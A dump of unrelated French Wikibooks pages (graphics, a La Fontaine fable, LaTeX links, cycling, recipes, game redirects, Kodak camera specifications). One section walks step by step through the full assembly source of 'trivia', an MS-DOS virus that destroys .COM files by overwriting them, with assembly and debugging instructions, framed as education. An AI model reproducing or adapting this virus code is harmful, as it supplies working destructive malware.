d'obtenir un rendu photoréaliste avec le modèle vectoriel, le nombre d'aplats de couleurs et de dégradé à tracer étant énorme pour reproduire toute la gamme de couleurs d'une photographie. Le logiciel standard dans l'industrie graphique pour le ''dessin vectoriel'' est Adobe Illustrator <sup>TM</sup>. Les formats de fichiers vectoriels classiques sont .AI (''Adobe Illustrator''), .EPS (''Encapsulated PostScript''), .SWF (''Shockwave Flash''), et .PDF (''Adobe Acrobat''). == Le modèle bitmap == [[catégorie:Photoshop]] Français/Jean de La Fontaine 6185 27140 2005-12-20T15:03:29Z 82.125.81.22 Le laboureur et ses enfants Travaillez,prenez de la peine : C'est le fond qui manque le moins. Un riche laboureur,sentant sa mort prochaine, Fit venir ses enfants,leur parla sans témoins. " Gardez-vous,leur dit-il,de vendre l'héritage Que nous ont laissé nos parents: Un trésor est caché dedans. Je ne sais pas l'endroit;mais un peu de courage Vous le fera trouver : vous en viendrez à bout. Remuez votre champ dès qu'on aura fait l'août : Creusez,fouillez,bêchez; ne laissez nulle place Où la main ne passe et repasse." Le père mort,les fils vous retournent le champ, Decà,Delà, partout: si bien qu'au bout de l'an Il en rapportera davantage. D'argent, point de caché.Mais le père fut sage De leur montrer, avant sa mort, Que le travail est un trésor. Programmation LaTeX Liens externes 6188 43381 2006-05-29T07:15:24Z 84.103.214.169 < [[LaTeX]] Voici quelques resources en ligne disponibles: == En français == ===Communauté=== * [news:fr.comp.text.tex fr.comp.text.tex] Groupe de discussion français à propos du (La)TeX et sur des sujets qui s'y rapportent * [http://www.gutenberg.eu.org/ GUTenberg] * [http://www.tug.org/tex-archive/language/french/french.html La francisation de LaTeX] ===Tutoriels/FAQ (foire aux questions)=== * [http://www.tug.org/tex-archive/info/lshort/french/flshort-3.20.pdf Une courte (?) introduction au LaTeX2e] * [http://www.docsdunet.com/cours/faq-tex-french.html FRENCH-FAQ LATEX ON LINE] == En anglais == ===Communauté=== * [http://www.tug.org/ The TeX Users Group] inclut des liens sur des versions libres de (La)TeX pour de nombreux types d'ordinateur. * [news:comp.text.tex comp.text.tex] Groupe de discussion à propos du (La)TeX et sur des sujets qui s'y rapportent * [http://www.ctan.org/ CTAN] Des centaines de paquets et de programmes complémentaires ===Tutoriels/FAQ (foire aux questions)=== * [http://people.ee.ethz.ch/~oetiker/lshort/lshort.pdf Une courte (?) introduction au LaTeX2e], ou LaTeX2e en 131 minutes (fichier pdf de 2,16 MB) (aussi à [http://www.ctan.org/tex-archive/info/lshort/english/lshort.pdf]) * [http://www.tex.ac.uk/cgi-bin/texfaq2html?introduction=yes The UK TeX FAQ] Liste de questions et réponses fréquemment envoyées à comp.text.tex * [http://www.maths.tcd.ie/~dwilkins/LaTeXPrimer/ LaTeX Primer] Un guide vraiment utile * [http://www.ams.org/tex/short-math-guide.html The AMS Short Math Guide for LaTeX], un sommaire concis des possibilités de composition de formules mathématiques * [http://www.rna.nl/tex.html TeX on Mac OS X] Guide d'utilisation de TeX et LaTeX sur un Mac *[http://www-h.eng.cam.ac.uk/help/tpl/textprocessing/ Text Processing using LaTeX] *[http://tex.loria.fr/index.html The (La)TeX encyclopaedia] *[http://www.giss.nasa.gov/latex/ Hypertext Help with LaTeX] ===Référence=== * [http://www.latex-project.org/ Projet de site LaTeX] * [http://www.ctan.org The Comprehensive TeX Archive Network] Le dernier logiciel de (La)TeX et ses paquets * [http://www.tug.org/tds/ TeX Directory Structure], utilisé par de nombreuses distributions (La)TeX * [http://www.math.missouri.edu/~stephen/naturalmath/ Natural Math] convertit le langage naturel en formules mathématiques représentées en LaTeX * [http://www.ctan.org/tex-archive/info/l2tabu/english/l2tabuen.pdf Paquets et commandes obsolètes] * Lamport's book ''LaTeX: A Document Preparation System'' * [http://www.oreilly.fr/catalogue/2841770737.html LaTeX par la pratique] par Christian Rolland, chez O'Reilly France : pour bien débuter en français [[Category:LaTeX|Links]] Virus informatique/trivia α 6189 28192 2006-01-04T00:44:57Z Greudin 1 [[Virus informatique/trivia]] déplacé vers [[Virus informatique/trivia α]] Le virus '''trivia''' en version alpha est le plus simple des virus car il n'infecte que les fichiers exécutables .com du répertoire courant. ==Organigramme avec assembleur Intel en regard== {| border="1" |Organigramme |Assembleur |Commentaires |- |rowspan="7" | [[Image:Virus_informatique-alpha.png|177px|organigramme]] |FichierCOM DB '*.com',0 |chaîne à rechercher (finie par zéro) |- |MOV AH,4eH MOV DX,OFFSET FichierCOM<br /> INT 21H |Première recherche de fichier Dans DX l'adresse de la chaîne ASCIIZ<br /> MS-DOS lance la recherche |- |JC exit |Retour au système si on ne trouve aucun fichier .com |- |infection: MOV AH, 3dH<br /> MOV AL, 1<br /> MOV DX, NomFich<br /> INT 21H XCHG AX, BX<br /> MOV AH, 40H<br /> MOV CL, 86<br /> MOV DX, 100H<br /> INT 21H MOV AH, 3eH<br /> INT 21H | Ouvrir un fichier<br /> En écrasement<br /> Dans DX l'adresse du nom du fichier<br /> MS-DOS nous ouvre le fichier<br /> (le descripteur du fichier est dans AX)<br /> Interversion entre AX et BX<br /> En écriture<br /> Nombre d’octets : 86 (taille totale du virus)<br /> Emplacement où commencer l’écriture<br /> MS-DOS écrit dans le fichier victime<br /> Fermeture de fichier<br /> MS-DOS ferme le fichier infecté |- |MOV AH, 4fH INT 21H |Deuxième recherche de fichier MS-DOS lance la recherche |- |JNC infection |Retour à la procédure d’infection si un fichier .com a été trouvé |- |exit: MOV AH, 4ch<br /> MOV AL, 00<br /> INT 21h | Retour au système<br /> Code de retour : 00 (sortie normale)<br /> MS-DOS termine le programme |- |} ==Code source commenté, pas à pas== La recherche de fichier est un service fournit pas MS-DOS : le service numéro 4Eh (h indique qu'il s'agit d'hexadécimal) de l'interruption 21h permet de rechercher n'importe quel fichier en spécifiant la bonne chaîne ASCIIZ (chaîne de caractère finie par un zéro) Il faut d'abord déclarer la chaîne. En assembleur : FichierCOM db '*.com',0 FichierCOM est le nom que l'on donne à notre variable. DB (Dump Byte) c'est pour affecter la chaîne au nom. '*.com',0 est la chaîne ASCIIZ. Il ne reste plus qu'à utiliser le service 4eH: MOV AH,4Eh On met le numero de service dans le registre AH, ici 4Eh. MOV DX,OFFSET FichierCOM DX reçoit l'adresse de la chaîne ASCIIZ INT 21h On exécute la recherche avec l'interruption 21h. Si il n'y a pas de fichier, MS-DOS nous avertit en mettant à 1 un bit (le flag de retenue) d'un registre appelé registre d'état. On peu le tester avec cette instruction : JC exit ''Jump if Carry'', c.a.d saut à "exit" si le flag de retenue est à 1. Si il y a un fichier, on trouve son nom inscrit alors à l'adresse 9E. Y a plus qu'a récupérer son nom pour l'ouvrir et y écrire le code du virus, c'est le rôle du service 3dH: MOV AH, 3dh Service 3Dh : ouvrir un fichier MOV AL, 1 En écriture, on écrase tout. Le fichier infecté sera irrécupérable, pas de désinfection possible. MOV DX, NomFich Dans DX l'adresse du nom du fichier. INT 21h MS-DOS l'ouvre. On a juste ouvert le fichier pour pouvoir récupérer son descripteur (handle en anglais). C'est un numéro attribué au fichier qui sert à MS-DOS pour le reconnaître. Après l'interruption 21h, le descripteur est dans le registre 16 bits AX. Maintenant qu'on a son descripteur on va écraser son code en écrivant notre virus par dessus. Mais faut-il encore connaître la taille exacte du virus. Facile : il suffit d'assembler et de voir la taille du com. Il faut surtout le placer au bon endroit. Car le code d'un fichier COM commence 256 (100h) octets après le début du fichier, il faut donc écrire qu'a partir de 100h. C'est le rôle du service 40h: MOV AH, 40h On va écrire dans le fichier MOV CL, 86 Taille du virus : 86 octets (à savoir) MOV DX, 100h Le bon offset. INT 21h MS-DOS écrit le virus. (Vérifiable en contrôlant la DEL du disque dur) Le virus est libéré sauf si le disque est plein (moins de 86 octets libre) ou s'il est protégé en écriture. Le virus s'est dupliqué il peut effectuer une action comme afficher un message. Il doit maintenant infecter d'autres fichiers .com. Faut-il réutiliser le service 4E ? Non, car ce service recherche le premier fichier du répertoire courant, l'infection se fera toujours sur le même fichier, il nous faut donc rechercher d'autres fichiers com. C'est le rôle du service 4Fh (normal 4F c'est 4E + 1) MOV AH, 4Fh Deuxième recherche : INT 21h Si il n'y a pas de fichier, DOS nous avertit en mettant … 1 un bit (le flag de retenue) d'un registre appel‚ registre d'état. On le teste avec : JNC Infection ''Jump if Not Carry'', c.a.d saut à "Infection" si le flag de retenue est à 0. Si il y a un fichier, on trouve son nom inscrit alors à l'adresse 9Eh. Y a plus qu'a récupérer son nom pour l'ouvrir et y écrire le code du virus. ==Assemblage et environnement de test== Utilisez votre assembleur préféré, comme par exemple [http://eji.com/a86/ A86 d’Eric Isaacson] : I:\A86>a86 trivia.asm trivia-a.com A86 macro assembler, V4.05 Copyright 2000 Eric Isaacson Source: trivia.asm Object: trivia-a.com Symbols: trivia-a.SYM I:\A86>^C Créez ensuite un dossier dédié à vos essais où vous placerez le fichier trivia.com ainsi que des copies de fichiers .com se trouvant dans C:\windows\system32 I:\>md virus I:\>cd virus I:\VIRUS>_ ==Exécution pas à pas au débuggeur== « Debug.exe » est fournit avec toutes les versions de Windows et est accessible depuis n’importe quel dossier. I:\Virus>debug trivia-a.com Tapez ? pour une aide, U pour désassembler, D pour afficher la plage mémoire, P pour l’exécution pas-à-pas, Q pour sortir du débuggeur. Virus informatique 6190 27984 2005-12-30T20:07:41Z Greudin 1 /* Présentation */ li {{ébauche}} =Le virus informatique= [[image:Influenza_virus.png|center]] <div align="right"> « Tout individu a droit à la liberté d'opinion et d'expression, ce qui implique le droit de ne pas être inquiété pour ses opinions et celui de chercher, de recevoir et de répandre, sans considérations de frontières, les informations et les idées par quelque moyen d'expression que ce soit. »<br /> ''Article 19 de la Déclaration universelle des Droits de l'Homme.'' </div> Le '''[[w:virus informatique|virus informatique]]''' est un programme malveillant qui se duplique dans un ordinateur voire d’un ordinateur à un autre via le réseau. Comprendre les virus permet de mieux combattre et se prémunir d’une infection et de se former au fonctionnement du système d’exploitation. Ce wikilivre s’attachera à faire comprendre les rouages des virus informatiques par une analyse progressive d’un virus simple jusqu’aux plus complexes. Les conséquences d’une infection ne seront qu’abordées. Les codes sources des exemples proposés ne fonctionneront que pour les différentes versions du système d’exploitation le plus touché au monde par les attaques virales, c'est-à-dire : MS-Windows. Ces codes sources peuvent être directement compilés, le lecteur est prévenu que les expériences avec des virus doivent se faire dans un environnement sécurisé et avec un ou au mieux, plusieurs anti-virus à jour. L’on peut raisonnablement penser qu’il est illégal d’offrir un tel contenu au plus grand nombre alors que cela peut servir à des personnes mal intentionnées, or plus de vingt ans après la création de ''Michelangelo'', encore un trop grand nombres de personnes ignorent tout de ces minuscules programmes mais est-ce que l’ignorance est une défense ? ==Présentation== Le wikilivre débutera par aborder les termes utilisés en sécurité informatique et les bases de connaissances concernant du système d’exploitation. Un virus simple sera analysé, sa structure et ses fonctions seront ensuite améliorées jusqu’à nous questionner sur ce qui caractérise la vie artificielle. Le lecteur doit avoir des connaissances du système MS-Windows, être capable d’utiliser la ligne de commande, avoir des notions d’anglais technique et savoir lire un programme écrit en [[Programmation Assembleur x86|assembleur Intel]]. ==Table des matières== *Avant-propos *Présentation *Virus *Le système d’exploitation *Le virus écraseur de fichier COM *Le virus parasite *Le virus furtif *Le virus polymorphe *Le cheval de Troie et ingénierie sociale *Le ver *Mythes et légendes *Prospectives *Bibliographie =L’écraseur de fichier COM= [[image:Virus_informatique_simple.png|thumb|right|209px|Organigramme d’un virus simple]] Notre premier virus simple va rechercher un programme à infecter dans son dossier. Le virus va ensuite se recopier par-dessus les anciennes instructions du programme et ceci pour tous les programmes dans le dossier. Pour être précis, ce virus va rechercher n'importe quel fichier *.com du répertoire courant, si aucune victime n’est trouvée le programme s’arrête. Dans le cas d’une victime trouvée le virus se recopie dans le corps du programme en écrasant les premières instructions correspondantes à la taille du virus. Ainsi les 86 premiers octets du programme victime seront perdus le rendant inopérant et irrécupérable. Le virus effectue ensuite une autre recherche recommençant un cycle jusqu’à ce que tous les fichiers .com du répertoire soient infectés. [[/trivia|L’analyse du code source du virus trivia]] nous renseigne sur la stratégie choisie pour l’infection. Vérification de la chaîne 6192 27194 2005-12-21T20:54:08Z MARIO SCOLAS 949 Vérifiez les articulations des maillons (surtout sur un vélo neuf) en rétropédalant et en observant le passage de la chaîne dans le dérailleur arrière. Utilisez une jauge pour déterminer l'usure de la chaîne - Vérifier l'état de lubrification de cette dernière. Vérification de la selle 6194 27202 2005-12-21T21:06:01Z MARIO SCOLAS 949 Si la selle penche vers l'avant, démonter l'écrou ou le boulon et appliquez un peu de vaseline ou de graisse sur le filetage. Serrez le boulon ou l'écrou avec une clé adhoc. Vérifiez la bonne hauteur de la selle, et faites une marque sur la tige de selle pour la remonter à la même hauteur;[[Utilisateur:MARIO SCOLAS|MARIO SCOLAS]] 21 décembre 2005 à 21:06 (UTC) Cuisine:Recettes de cuisine asturienne 6195 27221 2005-12-21T22:47:17Z MARIO SCOLAS 949 '''INTRODUCTION''' La cuisine asturienne est surtout représentée par son cassoulet régional la fabada, un plat de haricots blancs spécifiques cuit avec du chorizo et de la morzilla, cocido...Ce plat s'accompagne idéalement avec du cidre de pommerégional qui n'a rien à voir avec quoi que ce soit d'autre. == La Fabada asturiana== Sa recette est expliquée en français sous ce lien. [http://personal.redestb.es/cabiedes/fabada.htm] [[Utilisateur:MARIO SCOLAS|MARIO SCOLAS]] 21 décembre 2005 à 22:47 (UTC) Boite à jeux 6196 27223 2005-12-21T23:01:55Z François Haffner 951 [[Boite à jeux]] déplacé vers [[Boîte à jeux]]: Orthographe correcte #REDIRECT [[Boîte à jeux]] Boite à jeux/Bagh-Bandi 6198 27228 2005-12-21T23:04:32Z François Haffner 951 [[Boite à jeux/Bagh-Bandi]] déplacé vers [[Boîte à jeux/Bagh-Bandi]]: Orthographe correcte #REDIRECT [[Boîte à jeux/Bagh-Bandi]] Boîte à jeux/Le neutron 6199 27685 2005-12-27T07:07:30Z François Haffner 951 2 Joueurs<br/> durée d'une partie : 15mn<br/> auteur : Robert A. Kraus<br/> année de publication : 1978 '''But de jeu:''' Amener le neutron dans son propre camp. '''Matériel:''' Un [[media:damier5-5.pdf|damier 5x5]], 5 pions rouges, 5 pions bleus, 1 pion vert (le neutron) [[Image:Neutronstart.png|center]] '''Règles:''' Le joueur doit obligatoirement déplacer le neutron puis un de ses pions. Les pions se déplacent en diagonales ou sur les verticales sans s'arrêter jusqu'à ce qu'ils rencontrent un obstacle (le bord du damier ou un autre pion). Le joueur qui commence la partie ne déplace pas le neutron au premier tour. Le joueur qui a amené le neutron dans son propre camp à gagné. Si un joueur ne peut pas déplacer le neutron ou un de ses pions il a perdu, de même s'il est obligé d'amener le neutron dans le camp adverse. '''Un début de partie:''' [[Image:Neutronsample.png|600px|center]] * 1: les bleus jouent * 2: les rouges déplacent le neutron * 3: les rouges jouent {{BoiteJeux}} Boite à jeux/Le neutron 6200 27232 2005-12-21T23:07:57Z François Haffner 951 [[Boite à jeux/Le neutron]] déplacé vers [[Boîte à jeux/Le neutron]] #REDIRECT [[Boîte à jeux/Le neutron]] Boite à jeux/L'ascenseur 6201 27235 2005-12-21T23:10:12Z François Haffner 951 [[Boite à jeux/L'ascenseur]] déplacé vers [[Boîte à jeux/L'ascenseur]] #REDIRECT [[Boîte à jeux/L'ascenseur]] Boite à jeux/Mafia 6202 27238 2005-12-21T23:10:57Z François Haffner 951 [[Boite à jeux/Mafia]] déplacé vers [[Boîte à jeux/Mafia]] #REDIRECT [[Boîte à jeux/Mafia]] Boite à jeux/421 6203 27244 2005-12-21T23:18:09Z François Haffner 951 [[Boite à jeux/421]] déplacé vers [[Boîte à jeux/421]] #REDIRECT [[Boîte à jeux/421]] Boite à jeux/Zanzi 6204 27246 2005-12-21T23:18:24Z François Haffner 951 [[Boite à jeux/Zanzi]] déplacé vers [[Boîte à jeux/Zanzi]] #REDIRECT [[Boîte à jeux/Zanzi]] Boite à jeux/La bataille corse 6205 27250 2005-12-21T23:21:02Z François Haffner 951 [[Boite à jeux/La bataille corse]] déplacé vers [[Boîte à jeux/La bataille corse]] #REDIRECT [[Boîte à jeux/La bataille corse]] Boite à jeux/Awalé 6206 27253 2005-12-21T23:21:39Z François Haffner 951 [[Boite à jeux/Awalé]] déplacé vers [[Boîte à jeux/Awalé]] #REDIRECT [[Boîte à jeux/Awalé]] Boite à jeux/Buckdice 6208 27258 2005-12-21T23:23:08Z François Haffner 951 [[Boite à jeux/Buckdice]] déplacé vers [[Boîte à jeux/Buckdice]] #REDIRECT [[Boîte à jeux/Buckdice]] Boite à jeux/Sept 6209 27261 2005-12-21T23:23:43Z François Haffner 951 [[Boite à jeux/Sept]] déplacé vers [[Boîte à jeux/Sept]] #REDIRECT [[Boîte à jeux/Sept]] Boite à jeux/Le barbu 6211 27266 2005-12-21T23:26:05Z François Haffner 951 [[Boite à jeux/Le barbu]] déplacé vers [[Boîte à jeux/Le barbu]] #REDIRECT [[Boîte à jeux/Le barbu]] Boite à jeux/Yams 6212 27268 2005-12-21T23:26:28Z François Haffner 951 [[Boite à jeux/Yams]] déplacé vers [[Boîte à jeux/Yams]] #REDIRECT [[Boîte à jeux/Yams]] Boite à jeux/Le macaque 6213 27271 2005-12-21T23:28:56Z François Haffner 951 [[Boite à jeux/Le macaque]] déplacé vers [[Boîte à jeux/Le macaque]] #REDIRECT [[Boîte à jeux/Le macaque]] Boite à jeux/La belote 6214 27273 2005-12-21T23:29:42Z François Haffner 951 [[Boite à jeux/La belote]] déplacé vers [[Boîte à jeux/La belote]] #REDIRECT [[Boîte à jeux/La belote]] Boite à jeux/La manille 6215 27275 2005-12-21T23:31:32Z François Haffner 951 [[Boite à jeux/La manille]] déplacé vers [[Boîte à jeux/La manille]] #REDIRECT [[Boîte à jeux/La manille]] Boite à jeux/Le huit américain 6217 27280 2005-12-21T23:33:38Z François Haffner 951 [[Boite à jeux/Le huit américain]] déplacé vers [[Boîte à jeux/Le huit américain]] #REDIRECT [[Boîte à jeux/Le huit américain]] Photographie - 40 - Kodak 6220 38667 2006-03-24T00:07:18Z Jean-Jacques MILAN 114 /* Appareils compacts numériques */ {{Photographie}} {{Photo_40}} == Appareils 24x36 compacts == === Kodak Retinette I B (vers 1961) === * '''Remarques :''' {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Kodak Retinette 1B vers 1961.png|240px|center]]<br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>24 x 36 automatique à objectif fixe • <font color=grey>Format de film : </font>135 • <font color=grey>Objectif : </font>fixe [[Photographie - 40 - Rodenstock|Rodenstock]] Reomar 45 mm f/2,8 traité • <font color=grey>Diaphragme : </font> • <font color=grey>Viseur : </font>à cadre grande image • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> manuelle • <font color=grey>Obturateur : </font>Pronto LK au 1/500e s • <font color=grey>Prise de flash : </font>oui • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font>réglage automatique par cellule incorporée • <font color=grey>Sensibilité film : </font> • <font color=grey>Retardateur : </font>oui • <font color=grey>Avance du film : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font>395 NF en 1961 |- |} === Retina III S (vers 1961) === [[Image:Kodak Retinette III S vers 1961.png|thumb|180px|Kodak Retina III S<br>Photo souhaitée]] * '''Type d'appareil :''' 24x36 à objectif fixe * '''Objectifs :''' 50 mm f/2,8 traité ou f/1,9 traité interchangeables * '''Monture des objectifs :''' spécifique * '''Format de film :''' 135 * '''Viseur :''' avec compensation automatique de la parallaxe * '''Mise au point :''' manuelle, télémètre couplé * '''Obturateur :''' Synchro Compur à indices de lumination, 10 vitesses de 1 s à 1/500e s et pose B * '''Déclencheur :''' * '''Contrôle de l'exposition :''' cellule photoélectrique couplée * '''Retardateur :''' oui * '''Avance du film :''' * '''Compteur de vues :''' * '''Expositions multiples :''' * '''Dimensions :''' * '''Poids :''' * '''Accessoires :''' * '''Remarques :''' 870 NF en 1961 avec objectif 2,8 et 1130 NF avec objectif 1,9 === Retina automatic I (vers 1961) === [[Image:Kodak Retina Automatic I vers 1961.png|thumb|180px|Kodak Retina Automatic I<br>photo souhaitée]] * '''Type d'appareil :''' 24x36 automatique * '''Objectif :''' Retina Reomar 45 mm f/2,8 traité * '''Format de film :''' 135 * '''Viseur :''' à cadre grande image * '''Informations dans le viseur :''' indication des distances * '''Mise au point :''' manuelle * '''Obturateur :''' Prontormat S avec prise de flash * '''Déclencheur :''' blocage automatique en cas de luminosité insuffisante * '''Contrôle de l'exposition :''' cellule photoélectrique couplée * '''Retardateur :''' * '''Avance du film :''' * '''Compteur de vues :''' * '''Expositions multiples :''' * '''Dimensions :''' * '''Poids :''' * '''Accessoires :''' * '''Remarques :''' 595 NF en 1961 === Retina Automatic II (vers 1961) === [[Image:Kodak Retina Automatic II vers 1961.png|thumb|180px|Kodak Retina Automatic II <br>photo souhaitée]] * '''Type d'appareil :''' 24x36 automatique avec choix des vitesses d'obturation * '''Objectif :''' Xenar 45 mm f/2,8 traité * '''Format de film :''' 135 * '''Viseur :''' à cadre grande image * '''Informations dans le viseur :''' indication des distances * '''Mise au point :''' manuelle * '''Obturateur :''' Compur de 1/30e s à 1/500e s et pose B avec prise de flash * '''Déclencheur :''' blocage automatique en cas de luminosité insuffisante * '''Contrôle de l'exposition :''' Cellule photoélectrique couplée * '''Retardateur :''' * '''Avance du film :''' * '''Compteur de vues :''' * '''Dimensions :''' * '''Poids :''' * '''Accessoires :''' * '''Remarques :''' 795 NF en 1961 === Retina Automatic III (vers 1961) === [[Image:Kodak Retina Automatic III vers 1961.png|thumb|180px|Kodak Retina Automatic III <br>photo souhaitée]] * '''Type d'appareil :''' 24x36 automatique avec choix des vitesses d'obturation * '''Objectif :''' Xenar 45 mm f/2,8 traité * '''Format de film :''' 135 * '''Viseur :''' à cadre, grande image * '''Informations dans le viseur :''' indicateur des distances * '''Mise au point :''' manuelle, télémètre couplé * '''Obturateur :''' Compur de 1/30e s à 1/500e s et pose B * '''Prise de flash :''' oui * '''Déclencheur :''' blocage automatique en cas de luminosité insuffisante * '''Retardateur :''' * '''Avance du film :''' * '''Compteur de vues :''' * '''Expositions multiples :''' * '''Dimensions :''' * '''Poids :''' * '''Accessoires :''' * '''Remarques :''' 895 NF en 1961 == Appareils 24x36 réflex == === Retina Reflex III (vers 1961) === [[Image:Kodak Retina Reflex III vers 1961.png|thumb|180px|Kodak Retina Reflex III<br>photo souhaitée]] * '''Type d'appareil :''' 24 x 36 réflex à objectif interchangeable * '''Objectifs :''' 50 mm f/2,8 traité ou f/1,9 traité interchangeables * '''Présélection du diaphragme :''' oui * '''Monture des objectifs :''' spécifique * '''Format de film :''' 135 * '''Viseur :''' réflex à prisme pentagonal * '''Informations dans le viseur :''' contrôle de l'exposition * '''Mise au point :''' manuelle * '''Obturateur :''' Compur à indices de lumination, 10 vitesses de 1 sec à 1/500e s et pose B * '''Prise de flash :''' * '''Déclencheur :''' * '''Contrôle de l'exposition :''' cellule photoélectrique couplée * '''Retardateur :''' oui * '''Avance du film :''' * '''Compteur de vues :''' * '''Expositions multiples :''' * '''Touche de profondeur de champ :''' * '''Dimensions :''' * '''Poids :''' * '''Accessoires :''' * '''Remarques :''' 1275 NF en 1961 avec objectif 2,8 et 1460 NF avec objectif 1,9 == Appareils de format 110 == Le chargeur 110 était de conception semblable au chargeur 126 mais beaucoup plus petit. Les appareils 110 donnaient des négatifs de format 13x17 mm. Les appareils de la série Pocket sont conçus pour être glissés dans la poche et donc toujours disponibles pour l'utilisateur. Dans ce but, ils ne comportent aucune aspérité. Suivant les modèles, l'objectif est mis à l'abri de la poussière par une vitre ou un volet coulissant. Les films disponibles sont de type noir et blanc, négatif couleurs et diapositives (Ektachrome et Kodachrome). Les projecteurs de diapositives 110 Retinamat 210 et 610 permettaient de projeter des images de 1 m de base. === Pocket Instamatic 100 (vers 1973)=== {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Kodak Instamatic 100 (vers 1973).jpg|240px|center|Kodak Pocket Instamatic 100]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>bas de gamme, aucun réglage • <font color=grey>Format de film : </font>110 • <font color=grey>Objectif : </font>25 mm f/11 à trois lentilles • <font color=grey>Diaphragme : </font> • <font color=grey>Viseur : </font>type Galilée • <font color=grey>Informations dans le viseur : </font>signal de lampe usée • <font color=grey>Mise au point : </font>fixe à 2,4 m (netteté de 1,2 m à l'infini) • <font color=grey>Obturateur : </font>1 seule vitesse 1/60e s • <font color=grey>Prise de flash : </font>prise pour Magicube, rotation couplée à l'avancement du film • <font color=grey>Déclencheur : </font>mécanique, bloqué par le volet de protection de l'objectif • <font color=grey>Contrôle de l'exposition : </font>préréglée pour des films de 64 ISO • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font>levier coulissant couplé à l'armement du déclencheur • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font>oui • <font color=grey>Dimensions : </font>115 x 51 x 25,8 mm • <font color=grey>Poids : </font>90 g • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Kodak Pocket Instamatic 200 (vers 1973) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Kodak Instamatic 200 (vers 1973).jpg|240px|center|Kodak Pocket Instamatic 200]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>bas de gamme • <font color=grey>Format de film : </font>110 • <font color=grey>Objectif : </font>25 mm f/11 à trois lentilles • <font color=grey>Diaphragme : </font> • <font color=grey>Viseur : </font>à cadre projeté avec et correction de parallaxe entre 1,2 et 1,8 m • <font color=grey>Informations dans le viseur : </font> signal de lampe usée • <font color=grey>Mise au point : </font>fixe à 2,4 m (netteté de 1,2 m à l'infini) • <font color=grey>Obturateur : </font>deux vitesses 1/80e s pour le soleil brillant et 1/40e pour le soleil voilé ou le flash • <font color=grey>Prise de flash : </font>prise pour Magicube, rotation couplée à l'avancement du film • <font color=grey>Déclencheur : </font>mécanique, bloqué par le volet de protection de l'objectif • <font color=grey>Contrôle de l'exposition : </font>préréglée pour des films de 64 ISO • <font color=grey>Sensibilité film : </font>64 ISO • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font>levier coulissant couplé à l'armement du déclencheur • <font color=grey>Compteur de vues : </font>oui • <font color=grey>Dimensions : </font>115 x 51 x 25,8 mm • <font color=grey>Poids : </font>90 g • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Kodak Pocket Instamatic 300 (vers 1973) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Kodak Instamatic 300 (vers 1973).jpg|240px|center|Kodak Pocket Instamatic 300]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>simplifié • <font color=grey>Format de film : </font>110 • <font color=grey>Objectif : </font>25 mm f/5,6 • <font color=grey>Diaphragme : </font> • <font color=grey>Viseur : </font>à cadre projeté avec et correction de parallaxe entre 1,2 et 1,8 m • <font color=grey>Informations dans le viseur : </font>signal de lampe usée • <font color=grey>Mise au point : </font>fixe à 2,4 m (netteté de 1,2 m à l'infini) • <font color=grey>Obturateur : </font>deux vitesses 1/80e s pour le soleil brillant et 1/40e pour le soleil voilé ou le flash • <font color=grey>Prise de flash : </font>prise pour Magicube, rotation couplée à l'avancement du film • <font color=grey>Déclencheur : </font>mécanique, bloqué par le volet de protection de l'objectif • <font color=grey>Contrôle de l'exposition : </font>réglage manuel de l'ouverture du diaphragme (5 ouvertures entre 5,6 et 16) • <font color=grey>Sensibilité film : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font>levier coulissant couplé à l'armement du déclencheur • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font>oui • <font color=grey>Alimentation : </font> • <font color=grey>Dimensions : </font>115 x 51 x 25,8 mm • <font color=grey>Poids : </font>90 g • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font>au flash, couplage du diaphragme et de la distance de prise de vue |- |} === Pocket Instamatic 400 (vers 1973) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Kodak Instamatic 400 (vers 1973).jpg|240px|center|Kodak Pocket Instamatic 400]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>électronique • <font color=grey>Format de film : </font> • <font color=grey>Objectif : </font>25 mm f/11 à trois lentilles • <font color=grey>Diaphragme : </font> • <font color=grey>Viseur : </font>à cadre projeté avec correction de parallaxe entre 1,2 et 1,8 m • <font color=grey>Informations dans le viseur : </font>signaux de lampe usée, de contrôle de pile et de vitesse lente • <font color=grey>Mise au point : </font>fixe à 2,4 m (netteté de 1,2 m à l'infini • <font color=grey>Obturateur : </font>électronique faisant varier la vitesse de 1/300e s à 20 s. La mise en place d'un Magicube fait basculer la vitesse sur 1/40e s • <font color=grey>Prise de flash : </font>prise pour Magicube, rotation couplée à l'avancement du film • <font color=grey>Déclencheur : </font>mécanique, bloqué par le volet de protection de l'objectif • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font>levier coulissant couplé à l'armement du déclencheur • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> oui • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font>pile 6 V Varta 7250, UCAR 537 ou MALLORY 7434 • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font>130,5 x 51 x 28,5 mm • <font color=grey>Poids : </font>130 g • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Kodak 